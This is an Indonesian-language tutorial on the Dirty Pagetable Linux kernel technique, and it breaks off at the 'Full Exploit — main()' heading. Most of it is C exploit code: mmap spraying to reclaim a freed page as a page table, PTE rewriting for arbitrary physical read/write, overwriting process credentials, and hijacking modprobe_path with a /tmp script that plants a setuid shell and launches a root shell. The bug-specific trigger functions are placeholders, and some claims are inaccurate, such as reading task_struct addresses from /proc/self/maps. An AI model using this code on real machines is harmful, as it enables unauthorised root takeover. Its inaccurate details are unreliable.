Overview & Introduction
Apa itu Dirty Pagetable?
Dirty Pagetable adalah teknik eksploitasi kernel Linux yang dipublikasikan oleh ptr-yudai (STAR Labs) pada tahun 2023 dalam paper berjudul "Dirty Pagetable: A Novel Exploitation Technique For Use-After-Free Bugs in Linux Kernel". Teknik ini memanfaatkan bug Use-After-Free (UAF) pada kernel untuk membajak page table entries (PTE) — struktur data yang memetakan virtual address ke physical address.
Secara esensial: ketika kernel membebaskan sebuah physical page dan user-space berhasil mengisi kembali page tersebut sebagai page table milik proses, attacker mendapatkan kemampuan baca-tulis sembarang ke memori fisik (arbitrary physical memory R/W).
Kenapa Berbahaya?
- No kernel text leak needed — exploit bisa bekerja tanpa mengetahui alamat kernel.
- Bypasses SMEP/SMAP — tidak mengeksekusi user code di ring-0.
- Bypasses KPTI — beroperasi pada level page table secara langsung.
- Reliable — menggunakan heap feng shui yang deterministik pada slab allocator.
- Generalizable — berlaku untuk berbagai bug UAF di subsystem berbeda.
Background: Virtual Memory & Page Tables
Address Space Layout (x86-64)
Linux pada x86-64 membagi address space 64-bit menjadi dua bagian utama: user space (0x0000000000000000 – 0x00007fffffffffff) dan kernel space (0xffff000000000000 – 0xffffffffffffffff).
ADDRESS SPACE LAYOUT (x86-64, 5-level paging) 0xffff_ffff_ffff_ffff ────────────────────────────────────────── Kernel Space (128 TB) 0xffff_8000_0000_0000 direct map (physmem mapping) 0xffff_a000_0000_0000 vmalloc / ioremap 0xffff_b000_0000_0000 vmemmap (struct page array) 0xffff_c000_0000_0000 modules 0x0000_8000_0000_0000 ────────────────────────────────────────── [non-canonical gap / hole] 0x0000_7fff_ffff_ffff ────────────────────────────────────────── User Space (128 TB) 0x0000_7fff_xxxx_xxxx stack 0x0000_7f00_xxxx_xxxx mmap region (libraries, anon) 0x0000_5555_xxxx_xxxx heap 0x0000_5555_5555_5000 text/bss/data (PIE base) 0x0000_0000_0000_0000 ──────────────────────────────────────────
Page Table Hierarchy (4-level)
Setiap virtual address di-decode menjadi 5 komponen (4-level paging):
VIRTUAL ADDRESS DECOMPOSITION (48-bit, 4-level paging) 63 48 47 39 38 30 29 21 20 12 11 0 ┌────────┬────────┬────────┬────────┬────────┬──────────┐ │ SIGN │ PGD │ PUD │ PMD │ PTE │ OFFSET │ │ EXT │ idx │ idx │ idx │ idx │ │ └────────┴────────┴────────┴────────┴────────┴──────────┘ 9 bits 9 bits 9 bits 9 bits 12 bits PGD → Page Global Directory (level 4, 512 entries × 8B = 4KB) PUD → Page Upper Directory (level 3, 512 entries × 8B = 4KB) PMD → Page Middle Directory (level 2, 512 entries × 8B = 4KB) PTE → Page Table Entry (level 1, 512 entries × 8B = 4KB) Setiap level table menempati tepat 1 page (4096 bytes). Total walk: 4 memory accesses → physical address.
Struktur PTE (Page Table Entry)
PTE adalah 64-bit value yang mengandung physical address dan flag-flag permission:
PTE BIT LAYOUT (x86-64) 63 62:52 51:12 11 10 9 8 7 6 5 4 3 2 1 0 ┌───┬──────┬───────────────┬──┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┐ │NX │ AVAIL│ PFN (bits) │ │ G │ PAT│ D │ A │PCD│PWT│ U │ W │ P │ └───┴──────┴───────────────┴──┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┘ P bit 0 = Present (halaman valid di memori) W bit 1 = Writable U bit 2 = User accessible (0=kernel only) A bit 5 = Accessed D bit 6 = Dirty (page telah ditulis) PFN bit 12-51 = Physical Frame Number → Physical Addr = PFN << 12 NX bit 63 = No-Execute (XD bit) Contoh PTE yang valid untuk user-space page: 0x0000_0001_2345_6867 → PFN=0x12345, U=1, W=1, P=1
Dirty Pagetable: Konsep Inti
Core Idea
Ide utamanya adalah memaksa kernel membebaskan sebuah page, kemudian mengisi kembali physical page tersebut dengan page table user-space. Karena kita mengontrol konten page tersebut (melalui syscall mmap / pread), kita bisa menulis PTE palsu yang menunjuk ke physical address sembarang.
DIRTY PAGETABLE — OVERVIEW FLOW
┌──────────────────────────────────────────────────────────┐
│ 1. Kernel mengalokasikan page X untuk object tertentu │
│ (misalnya: pipe_buffer, msg_msg, sk_buff, dsb) │
└──────────────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ 2. Bug UAF → kernel mem-free page X TANPA membersihkan │
│ referensinya (dangling pointer masih valid) │
└──────────────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ 3. User-space spray mmap() berulang → kernel │
│ mengalokasikan page baru untuk page-table PMD/PTE │
│ → page X ter-reclaim sebagai page table user-space │
└──────────────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ 4. Attacker MENULIS melalui dangling pointer: │
│ → memodifikasi PTE yang ada di page X │
│ → mengubah PFN → pointing ke arbitrary physical page │
└──────────────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ 5. Attacker READ/WRITE virtual address yang mapped │
│ → secara efektif R/W ke physical address sembarang │
│ → cred overwrite, modprobe_path, dsb → ROOT! │
└──────────────────────────────────────────────────────────┘
Prasyarat Eksploitasi
| Prasyarat | Detail | Cara Memenuhi |
|---|---|---|
| UAF Primitive | Bug yang memungkinkan akses ke freed page | Temukan UAF di kernel subsystem (netfilter, io_uring, dsb) |
| Write Primitive | Bisa menulis ke dangling pointer | Biasanya bawaan dari bug UAF itu sendiri |
| Heap Control | Bisa mengontrol alokasi kernel heap | Syscall: pipe(), socket(), sendmsg(), mmap() |
| Page Reclaim | Bisa force-reclaim freed page untuk page table | mmap() anonymous memory dalam jumlah besar |
| Unprivileged | Umumnya bisa dieksekusi sebagai user biasa | Tidak perlu CAP_SYS_ADMIN (tergantung bug) |
Threat Model
- Target: Linux Kernel 6.x, x86-64, arm64
- Attacker: local unprivileged user dengan akses shell
- Goal: Local Privilege Escalation (LPE) → UID 0 / root
- Mitigasi yang ada: SMEP, SMAP, KASLR, KPTI, KAISER
- Diasumsikan: tidak ada kptr_restrict bypass awal
Detailed Exploitation Flow
Fase 1: Trigger UAF — Freed Page Acquisition
Langkah pertama adalah mengeksploitasi bug UAF yang menyebabkan kernel membebaskan sebuah page namun masih memiliki referensi (dangling pointer) ke page tersebut.
Allocate Kernel Object
Buat banyak kernel object di SLUB cache yang sama (e.g., pipe_buffer, msg_msg). Tujuannya adalah mendapatkan alokasi yang berdekatan di heap.
Create Hole (Heap Feng Shui)
Bebaskan beberapa object di tengah untuk membuat "lubang" di heap. Object target (yang akan di-UAF) menempati satu slot spesifik.
Trigger the Bug
Eksekusi code path yang mengandung bug — biasanya race condition, integer overflow, atau missing reference count — yang menyebabkan double-free atau premature free.
Confirm UAF
Dangling pointer masih valid. Kita bisa read/write ke physical page yang sudah di-free. Tapi isinya mungkin sudah berubah.
Fase 2: Heap Spray untuk Reclaim Page sebagai PTE
Kita ingin physical page yang di-free tadi di-reclaim oleh page table allocator sehingga berisi PTE entries. Caranya: mmap() banyak anonymous memory untuk memaksa kernel mengalokasikan banyak page table.
/* * Teknik: mmap spray untuk memaksa page allocator * menggunakan freed page sebagai PTE page table. * * Setiap mmap() akan membutuhkan PTE baru ketika * halaman pertama kali di-fault (MAP_POPULATE). */ #define PTE_PAGE_SIZE (4096UL) // 1 PTE page = 4KB #define PTRS_PER_PTE (512) // 512 entries × 8B #define PTE_RANGE (PTRS_PER_PTE * PAGE_SIZE) // 2MB per PTE table #define SPRAY_COUNT 0x1000 // 4096 attempts void *spray_ptrs[SPRAY_COUNT]; int spray_sizes[SPRAY_COUNT]; void pte_spray(void) { int i; for (i = 0; i < SPRAY_COUNT; i++) { /* * Alokasi 2MB tiap mmap() — tepat 1 PTE page worth. * MAP_ANONYMOUS | MAP_PRIVATE: kernel alokasi PTE * saat page pertama kali diakses. * MAP_POPULATE: langsung fault semua halaman → * memaksa alokasi PTE sekarang juga. */ spray_ptrs[i] = mmap(NULL, PTE_RANGE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0); if (spray_ptrs[i] == MAP_FAILED) { perror("mmap spray failed"); break; } spray_sizes[i] = PTE_RANGE; } printf("[+] PTE spray: %d mappings created (%lu MB)\n", i, (unsigned long)i * PTE_RANGE / 1024 / 1024); } /* * Setelah spray, salah satu PTE page MUNGKIN adalah * physical page yang sebelumnya di-free (target page kita). * Kita perlu cara untuk mengidentifikasinya. */
Fase 3: Identify & Read Physical Memory
Setelah spray, kita perlu mengidentifikasi mmap region mana yang PTE-nya berada di physical page target kita. Teknik identifikasi: baca konten page via dangling pointer dan cari signature PTE yang kita buat.
/* * Strategi identifikasi: * 1. Sebelum free, tulis pattern unik ke page target (jika bisa) * 2. Setelah PTE spray, baca melalui dangling pointer * 3. Cari PTE entries yang nilainya match dengan virtual addr kita * * PTE yang kita buat untuk virtual addr VA akan berisi: * pte_val = (PA >> 12) | flags * Di mana PA = physical address page yang di-map ke VA. * Kita tahu VA, jadi kita bisa verify. */ #include <stdint.h> #include <stdio.h> #include <string.h> #define PTE_PRESENT (1ULL << 0) #define PTE_WRITABLE (1ULL << 1) #define PTE_USER (1ULL << 2) #define PTE_ACCESSED (1ULL << 5) #define PTE_DIRTY (1ULL << 6) #define PTE_NX (1ULL << 63) #define PFN_MASK 0x000ffffffffff000ULL #define pte_to_pfn(p) (((p) & PFN_MASK) >> 12) #define pfn_to_pa(pfn) ((pfn) << 12) /* Baca 4096 bytes dari dangling pointer (freed page) */ void read_freed_page(uint64_t *uaf_ptr, uint64_t *buf) { /* Implementasi spesifik per-bug. Contoh: via pipe_buffer ops */ memcpy(buf, uaf_ptr, PAGE_SIZE); } /* Scan semua PTEs pada sebuah mmap region */ int find_spray_region(uint64_t *freed_page_content, void **out_region, size_t *out_pte_index) { for (int i = 0; i < SPRAY_COUNT; i++) { uint8_t *base = (uint8_t *)spray_ptrs[i]; for (int j = 0; j < PTRS_PER_PTE; j++) { /* * PTE[j] menunjuk ke physical page yang di-map untuk * virtual address: base + j * PAGE_SIZE * * Kita scan freed_page_content (dibaca via UAF) * dan cek apakah ada PTE yang menunjuk ke VA yang kita kenal. */ uint64_t va = (uint64_t)(base + j * PAGE_SIZE); uint64_t expected_pte_pfn = va_to_pfn_via_pagemap(va); for (int k = 0; k < PTRS_PER_PTE; k++) { uint64_t pte_val = freed_page_content[k]; if (!(pte_val & PTE_PRESENT)) continue; if (!(pte_val & PTE_USER)) continue; uint64_t pfn = pte_to_pfn(pte_val); if (pfn == expected_pte_pfn) { printf("[+] Found! spray[%d] PTE[%d] maps VA 0x%lx\n", i, k, va); *out_region = spray_ptrs[i]; *out_pte_index = k; return 1; } } } } return 0; // tidak ditemukan }
Fase 4: Arbitrary Write via PTE Manipulation
Setelah menemukan PTE page target, kita gunakan UAF write primitive untuk memodifikasi PTE entry. Dengan mengubah PFN di dalam PTE, virtual address user-space akan dipetakan ke physical address sembarang.
/* * Setelah kita tahu PTE page kita ada di freed page target, * kita bisa: * 1. Tulis PTE baru dengan PFN sembarang (via UAF write) * 2. Flush TLB (dengan munmap/remap atau CLFLUSH) * 3. Akses VA yang terkait → kernel MMU translate ke PA baru * * Hasilnya: kita bisa baca/tulis sembarang physical address! */ /* VA yang kita kontrol: spray_ptrs[i] + pte_index * PAGE_SIZE */ void *victim_va; size_t victim_pte_index; uint64_t make_pte(uint64_t pfn, uint64_t flags) { return (pfn << 12) | flags; } void set_pte_to_physical(uint64_t target_pa) { uint64_t target_pfn = target_pa >> 12; uint64_t new_pte = make_pte(target_pfn, PTE_PRESENT | PTE_WRITABLE | PTE_USER | PTE_ACCESSED | PTE_DIRTY); /* * UAF write: tulis new_pte ke slot PTE yang benar * di dalam freed page. Cara spesifik tergantung bug. * Contoh: jika UAF adalah pipe_buffer, kita bisa * set page pointer di pipe_buffer ke freed page, * lalu write via splice/sendfile. */ uaf_write_qword( freed_page_ptr + victim_pte_index * sizeof(uint64_t), new_pte ); /* Flush TLB entry untuk victim_va */ invlpg(victim_va); } /* Read arbitrary physical page */ void read_physical(uint64_t pa, void *buf, size_t len) { set_pte_to_physical(pa); memcpy(buf, victim_va + (pa & 0xFFF), len); } /* Write arbitrary physical page */ void write_physical(uint64_t pa, const void *buf, size_t len) { set_pte_to_physical(pa); memcpy(victim_va + (pa & 0xFFF), buf, len); } /* INVLPG instruction untuk flush TLB entry spesifik */ static inline void invlpg(void *addr) { __asm__ __volatile__("invlpg (%0)" : : "r"(addr) : "memory"); }
Fase 5: Privilege Escalation — cred Overwrite
Dengan arbitrary physical R/W, target klasik adalah menimpa field uid/gid/euid/egid di struktur task_struct → cred proses kita menjadi 0.
CRED OVERWRITE STRATEGY task_struct (per-process) │ ├── pid, tgid, comm[], ... ├── mm → mm_struct → pgd → page tables ├── files → files_struct └── cred ──────────────────────┐ │ struct cred { kuid_t uid; ← set to 0 kgid_t gid; ← set to 0 kuid_t suid; ← set to 0 kgid_t sgid; ← set to 0 kuid_t euid; ← set to 0 kgid_t egid; ← set to 0 kuid_t fsuid; ← set to 0 kgid_t fsgid; ← set to 0 ... struct group_info *group_info; } Cara menemukan physical address cred: 1. Baca /proc/self/maps untuk virtual address task_struct area 2. Gunakan read_physical() untuk baca kernel virtual → physical (dengan bantuan physmap offset: phys = virt - 0xffff888000000000) 3. Scan untuk signature struct cred (magic/pointer patterns) 4. Overwrite uid fields dengan write_physical()
/* * Dengan arbitrary physical R/W, kita lakukan: * 1. Baca physmap untuk scan struct cred proses kita * 2. Identify via pid dan signature * 3. Overwrite uid/gid fields ke 0 */ #include <sys/types.h> #include <unistd.h> /* Linux x86-64: physmap start di 0xffff888000000000 */ #define PHYSMAP_BASE 0xffff888000000000ULL #define PA(kva) ((kva) - PHYSMAP_BASE) /* Offset struct cred dalam task_struct (kernel 6.x, varies) */ #define TASK_COMM_OFFSET 0x950 // comm[16] field #define TASK_CRED_OFFSET 0xA38 // *real_cred / *cred #define TASK_PID_OFFSET 0x558 // pid_t pid /* Offset dalam struct cred untuk uid/gid (0 = uid, 4 = gid, ...) */ #define CRED_UID_OFFSET 0x04 #define CRED_GID_OFFSET 0x08 #define CRED_EUID_OFFSET 0x14 #define CRED_EGID_OFFSET 0x18 uint64_t find_task_struct_pa(pid_t pid) { /* Scan physmem untuk task_struct berdasarkan pid */ uint64_t buf[PAGE_SIZE / sizeof(uint64_t)]; char comm[16]; sprintf(comm, "%s", "exploit"); // nama proses kita /* Scan 2GB pertama physmem untuk menemukan task_struct */ for (uint64_t pa = 0x100000; pa < 0x80000000ULL; pa += PAGE_SIZE) { read_physical(pa, buf, PAGE_SIZE); /* Cari signature: comm field berisi nama proses kita */ for (size_t off = 0; off + TASK_COMM_OFFSET < PAGE_SIZE; off += 8) { uint8_t *p = (uint8_t *)buf + off; if (memcmp(p, comm, strlen(comm)) == 0) { /* Verify pid di offset yang benar */ uint32_t found_pid; read_physical(pa + off - TASK_COMM_OFFSET + TASK_PID_OFFSET, &found_pid, sizeof(found_pid)); if (found_pid == (uint32_t)pid) { printf("[+] task_struct found at PA: 0x%lx\n", pa + off - TASK_COMM_OFFSET); return pa + off - TASK_COMM_OFFSET; } } } } return 0; } void overwrite_creds(uint64_t task_pa) { uint64_t cred_ptr_pa = task_pa + TASK_CRED_OFFSET; uint64_t cred_kva; /* Baca pointer ke struct cred */ read_physical(cred_ptr_pa, &cred_kva, 8); printf("[*] cred KVA: 0x%lx\n", cred_kva); uint64_t cred_pa = PA(cred_kva); /* Overwrite uid/gid/euid/egid ke 0 */ uint32_t zero = 0; write_physical(cred_pa + CRED_UID_OFFSET, &zero, 4); write_physical(cred_pa + CRED_GID_OFFSET, &zero, 4); write_physical(cred_pa + CRED_EUID_OFFSET, &zero, 4); write_physical(cred_pa + CRED_EGID_OFFSET, &zero, 4); printf("[+] Creds overwritten! Current UID: %d\n", getuid()); }
Struktur Data Kernel yang Relevan
Page Table Lock & Management
/* Page table management structures */ struct mm_struct { struct { struct maple_tree mm_mt; pgd_t *pgd; // Level-4 page table base atomic64_t pgtables_bytes; // Total PTE memory spinlock_t page_table_lock; // Protects PTE writes struct rw_semaphore mmap_lock; // Protects VMA list /* ... */ }; unsigned long mmap_base; // mmap region start unsigned long task_size; // max user VA unsigned long start_code, end_code; unsigned long start_data, end_data; unsigned long start_brk, brk, start_stack; }; /* PTE types (arch/x86/include/asm/pgtable_types.h) */ typedef struct { pteval_t pte; } pte_t; typedef struct { pmdval_t pmd; } pmd_t; typedef struct { pudval_t pud; } pud_t; typedef struct { p4dval_t p4d; } p4d_t; typedef struct { pgdval_t pgd; } pgd_t; /* PTE flag macros */ #define _PAGE_PRESENT (pteval_t)(1) #define _PAGE_RW (pteval_t)(2) #define _PAGE_USER (pteval_t)(4) #define _PAGE_ACCESSED (pteval_t)(32) #define _PAGE_DIRTY (pteval_t)(64) #define _PAGE_NX ((pteval_t)1 << 63)
struct page — Representasi Physical Page
/* * struct page: merepresentasikan SETIAP physical page di sistem. * Penting untuk Dirty Pagetable karena: * - page->_refcount: reference count * Jika refcount = 0 → page bisa di-reuse (inilah yang kita eksploitasi!) * - page->flags: mengandung PG_locked, PG_dirty, dsb */ struct page { unsigned long flags; // PG_locked, PG_dirty, PG_uptodate... union { struct { // page cache struct list_head lru; struct address_space *mapping; pgoff_t index; unsigned long private; }; struct { // SLUB slab allocator unsigned long __filler; unsigned int mlock_count; }; struct { // page table page unsigned long _pt_pad_1; pgtable_t pmd_huge_pte; unsigned long _pt_pad_2; union { struct mm_struct *pt_mm; atomic_t pt_frag_refcount; }; spinlock_t *ptl; // page table lock (saat digunakan sbg PTE) }; }; atomic_t _refcount; // ← KEY: jika 0, page bisa diambil kembali /* ... */ };
Page Table Walk di Kernel
/* * Cara kernel melakukan page walk (manual, untuk pemahaman): * Ini menunjukkan BAGAIMANA setiap level di-decode. */ pte_t *walk_page_table(struct mm_struct *mm, unsigned long va) { pgd_t *pgd; p4d_t *p4d; pud_t *pud; pmd_t *pmd; pte_t *pte; /* Level 4: PGD */ pgd = pgd_offset(mm, va); if (pgd_none(*pgd) || pgd_bad(*pgd)) return NULL; /* Level 3: P4D (≡ PUD on 4-level systems) */ p4d = p4d_offset(pgd, va); if (p4d_none(*p4d) || p4d_bad(*p4d)) return NULL; /* Level 2: PUD */ pud = pud_offset(p4d, va); if (pud_none(*pud) || pud_bad(*pud)) return NULL; /* Level 1: PMD */ pmd = pmd_offset(pud, va); if (pmd_none(*pmd) || pmd_trans_huge(*pmd)) return NULL; /* Level 0: PTE ← INI YANG KITA KONTAMINASI */ pte = pte_offset_map(pmd, va); return pte; } /* * pgd_offset(mm, va): * idx = (va >> 39) & 0x1FF * return mm->pgd + idx * * p4d_offset(pgd, va): * idx = (va >> 30) & 0x1FF (pada 4-level = pud langsung) * return (p4d_t*)(pgd_val(*pgd) & PTE_MASK) + idx * * Dan seterusnya... * Setiap level: physical_addr_of_next_table = current_entry & PFN_MASK */
Kode Exploit Lengkap
Setup & Helper Functions
/* * dirty_pagetable_exploit.h * Generic Dirty Pagetable Exploit Template * Kernel 6.x LPE via UAF → PTE manipulation * * Author: Educational Template * Refs: ptr-yudai (STAR Labs), OffensiveCon 2023 */ #ifndef DIRTY_PT_H #define DIRTY_PT_H #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <assert.h> #include <pthread.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/prctl.h> #include <sys/wait.h> /* ─── Memory constants ──────────────────────────────────── */ #define PAGE_SIZE 0x1000UL #define PTRS_PER_PTE 512UL #define PTE_RANGE (PTRS_PER_PTE * PAGE_SIZE) /* 2MB */ #define PHYSMAP_BASE 0xffff888000000000ULL #define PA(kva) ((kva) - PHYSMAP_BASE) /* ─── PTE flags ─────────────────────────────────────────── */ #define PTE_P (1ULL << 0) /* Present */ #define PTE_W (1ULL << 1) /* Writable */ #define PTE_U (1ULL << 2) /* User */ #define PTE_A (1ULL << 5) /* Accessed */ #define PTE_D (1ULL << 6) /* Dirty */ #define PTE_NX (1ULL << 63) /* No-Execute */ #define PTE_FLAGS (PTE_P|PTE_W|PTE_U|PTE_A|PTE_D|PTE_NX) #define PFN_MASK 0x000ffffffffff000ULL /* ─── Spray config ──────────────────────────────────────── */ #define MAX_SPRAY 0x2000 #define KERNEL_HEAP_OBJ 512 /* objs sebelum target */ #define KERNEL_HEAP_HOLE 16 /* lubang di heap */ /* ─── Debug helper ──────────────────────────────────────── */ #define info(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__) #define ok(fmt, ...) fprintf(stderr, "\033[32m[+]\033[0m " fmt "\n", ##__VA_ARGS__) #define err(fmt, ...) fprintf(stderr, "\033[31m[-]\033[0m " fmt "\n", ##__VA_ARGS__) #define die(fmt, ...) do { err(fmt, ##__VA_ARGS__); exit(1); } while(0) #define ASSERT(x) do { if (!(x)) die("ASSERT failed: %s", #x); } while(0) /* ─── pagemap helper: VA → PA ───────────────────────────── */ uint64_t va_to_pa(uint64_t va) { int fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) return 0; uint64_t entry; off_t off = (va / PAGE_SIZE) * 8; pread(fd, &entry, 8, off); close(fd); if (!(entry & (1ULL << 63))) return 0; // not present return (entry & 0x7fffffffffffffULL) * PAGE_SIZE; } /* ─── TLB flush ─────────────────────────────────────────── */ static inline void flush_tlb(void *addr) { __asm__ __volatile__("mfence; invlpg (%0); mfence" :: "r"(addr) : "memory"); } #endif /* DIRTY_PT_H */
UAF Trigger (Contoh: via Netfilter)
/* * Contoh UAF trigger menggunakan bug netfilter (nftables). * CVE-2023-0179: stack-based buffer overflow / OOB in * nft_payload_eval() yang bisa digunakan untuk * arbitrary write pada kernel heap. * * Untuk keperluan Dirty Pagetable, yang kita butuhkan: * 1. Alokasi sebuah 4KB-aligned object di kernel heap * 2. Free object tersebut (tapi kita masih punya referensi) * 3. Tulis konten sembarang ke freed object */ #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <libmnl/libmnl.h> #include <libnftnl/table.h> #include <libnftnl/rule.h> /* Simplified placeholder — bug-specific implementation */ int uaf_fd = -1; // fd yang punya dangling pointer void *freed_page_va = NULL; // VA dari freed page (jika user-visible) void setup_uaf_object(void) { /* * Step 1: Spray page-size objects ke heap untuk mendapatkan * isolated page. Gunakan kmalloc-4096 atau objek serupa. * * Contoh menggunakan msg_msg (System V IPC): * msg_msg header 48B + payload → total bisa diisi hingga 4048B * → kalau payload 4048B, SLUB akan taruh di kmalloc-4096 */ info("Setting up kernel heap objects..."); /* Spray 512 objects untuk isolasi */ for (int i = 0; i < KERNEL_HEAP_OBJ; i++) { int qid = spray_kmalloc4096(i); if (qid < 0) die("spray failed at %d", i); } /* Buat lubang di tengah */ for (int i = KERNEL_HEAP_OBJ/2; i < KERNEL_HEAP_OBJ/2 + KERNEL_HEAP_HOLE; i++) { free_kmalloc4096(i); } /* * Step 2: Alokasi object target di lubang. * Ini adalah object yang akan kita UAF. */ uaf_fd = alloc_vulnerable_object(); ASSERT(uaf_fd >= 0); ok("UAF object allocated, fd=%d", uaf_fd); } void trigger_uaf(void) { /* Bug-specific: trigger the double-free or premature free */ /* * Contoh: untuk pipe_buffer UAF, * kita bisa close salah satu ujung pipe * setelah mengatur race condition yang * memicu free sebelum waktunya. * * Untuk nftables: set rule dengan expression yang * menyebabkan OOB write ke adjacent slab. */ info("Triggering UAF..."); do_bug_trigger(uaf_fd); // bug-specific ok("UAF triggered! Dangling pointer active."); } /* UAF write: tulis 8 byte ke offset tertentu di freed page */ void uaf_write_qword(size_t offset, uint64_t value) { /* Implementasi spesifik bug. * Contoh: jika UAF melalui pipe, gunakan write() ke fd * yang masih pointing ke freed pipe_buffer. */ uint8_t payload[PAGE_SIZE] = {0}; *(uint64_t *)(payload + offset) = value; do_uaf_write(uaf_fd, payload, PAGE_SIZE); } void uaf_read_page(uint64_t *out) { /* Baca seluruh freed page via dangling ref */ do_uaf_read(uaf_fd, out, PAGE_SIZE); }
PTE Spray & Identification
/* * Full PTE spray logic. * Tujuan: reclaim freed page sebagai PTE page table. */ void *spray_maps[MAX_SPRAY]; int spray_count = 0; /* Victim: VA dan index PTE yang kita kontrol */ void *victim_va = NULL; int victim_spray = -1; int victim_pte_i = -1; void do_pte_spray(void) { info("Starting PTE spray (%d maps × %lu MB)...", MAX_SPRAY, PTE_RANGE / 1024 / 1024); for (spray_count = 0; spray_count < MAX_SPRAY; spray_count++) { void *p = mmap(NULL, PTE_RANGE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0); if (p == MAP_FAILED) die("mmap failed at spray %d: %s", spray_count, strerror(errno)); spray_maps[spray_count] = p; /* Paksa setiap page di-fault satu per satu */ volatile uint8_t *vp = (uint8_t *)p; for (size_t i = 0; i < PTE_RANGE; i += PAGE_SIZE) vp[i] = (uint8_t)i; // write untuk mark page sebagai dirty } ok("PTE spray complete: %d mappings", spray_count); } int identify_victim_pte(void) { uint64_t freed_content[PAGE_SIZE / 8]; /* Baca konten freed page via UAF */ uaf_read_page(freed_content); info("Scanning freed page for PTE signatures..."); /* Scan setiap PTE entry di freed page */ for (int i = 0; i < PTRS_PER_PTE; i++) { uint64_t pte = freed_content[i]; /* Valid user PTE harus: Present, User, Writable */ if ((pte & (PTE_P|PTE_U|PTE_W)) != (PTE_P|PTE_U|PTE_W)) continue; uint64_t pfn = (pte & PFN_MASK) >> 12; uint64_t mapped_pa = pfn << 12; /* Cari spray region yang berisi VA mapped ke mapped_pa */ for (int s = 0; s < spray_count; s++) { uint8_t *base = (uint8_t *)spray_maps[s]; for (int j = 0; j < PTRS_PER_PTE; j++) { uint8_t *va = base + (size_t)j * PAGE_SIZE; /* Touch untuk ensure mapped */ uint64_t actual_pa = va_to_pa((uint64_t)va); if (!actual_pa) continue; if (actual_pa == mapped_pa) { /* * PTE[i] dalam freed page menunjuk ke * physical page yang di-map ke spray_maps[s]+j*PAGE_SIZE * Artinya: freed page ADALAH PTE page untuk spray_maps[s] */ victim_spray = s; victim_pte_i = i; /* VA yang kita akan manipulate PTEnya */ victim_va = base + (size_t)i * PAGE_SIZE; ok("PTE page identified! spray[%d], PTE[%d]", s, i); ok("Victim VA = %p", victim_va); return 1; } } } } err("Could not identify PTE page. Retry or increase spray."); return 0; } /* Remap victim_va ke arbitrary physical address */ void remap_victim_to(uint64_t target_pa) { uint64_t new_pte = (target_pa & PFN_MASK) | PTE_FLAGS; uaf_write_qword(victim_pte_i * 8, new_pte); flush_tlb(victim_va); }
Privilege Escalation via modprobe_path
/* * Strategi LPE alternatif: overwrite modprobe_path * * modprobe_path adalah string di kernel BSS/data section: * char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe"; * * Ketika user menjalankan binary dengan unknown magic bytes, * kernel panggil modprobe_path sebagai root. Kita overwrite * dengan path script kita sendiri → arbitrary code exec as root. * * Kita perlu tahu physical address modprobe_path. * Dengan Dirty Pagetable, kita bisa scan physmem. */ #define MODPROBE_PATH_SIG "/sbin/modprobe" #define FAKE_MODPROBE "/tmp/evil_mod" #define SCAN_MAX_PA (0x200000000ULL) /* scan 8GB */ uint64_t find_modprobe_path_pa(void) { uint8_t buf[PAGE_SIZE]; const char *sig = MODPROBE_PATH_SIG; size_t siglen = strlen(sig); info("Scanning physmem for modprobe_path..."); for (uint64_t pa = 0; pa < SCAN_MAX_PA; pa += PAGE_SIZE) { remap_victim_to(pa); /* Baca page via victim_va */ memcpy(buf, victim_va, PAGE_SIZE); /* Cari signature */ for (size_t off = 0; off + siglen < PAGE_SIZE; off++) { if (memcmp(buf + off, sig, siglen) == 0) { ok("Found modprobe_path at PA 0x%lx+0x%lx", pa, off); return pa + off; } } } return 0; } void exploit_modprobe_path(void) { /* Buat script /tmp/evil_mod yang akan dijalankan sebagai root */ system("echo '#!/bin/sh\ncp /bin/sh /tmp/rsh\nchmod +s /tmp/rsh' " "> /tmp/evil_mod && chmod +x /tmp/evil_mod"); uint64_t modprobe_pa = find_modprobe_path_pa(); ASSERT(modprobe_pa != 0); /* Remap victim ke page yang berisi modprobe_path */ uint64_t page_pa = modprobe_pa & ~(PAGE_SIZE - 1); size_t page_off = modprobe_pa & (PAGE_SIZE - 1); remap_victim_to(page_pa); /* Overwrite modprobe_path string */ char *mp = (char *)victim_va + page_off; memset(mp, 0, 256); strcpy(mp, FAKE_MODPROBE); ok("modprobe_path overwritten!"); ok("Triggering modprobe via unknown magic bytes..."); /* Trigger: create file dengan magic bytes tidak dikenal */ int fd = open("/tmp/trigger", O_CREAT|O_WRONLY, 0644); const char hdr[] = {0xde,0xad,0xbe,0xef}; // unknown magic write(fd, hdr, sizeof(hdr)); close(fd); chmod("/tmp/trigger", 0755); system("/tmp/trigger"); // → kernel calls modprobe_path as root /* Cek apakah berhasil */ if (access("/tmp/rsh", F_OK) == 0) { ok("SUCCESS! Launching root shell..."); execl("/tmp/rsh", "rsh", "-p", NULL); } else { err("modprobe trigger failed. Try cred overwrite instead."); } }
Full Exploit — main()
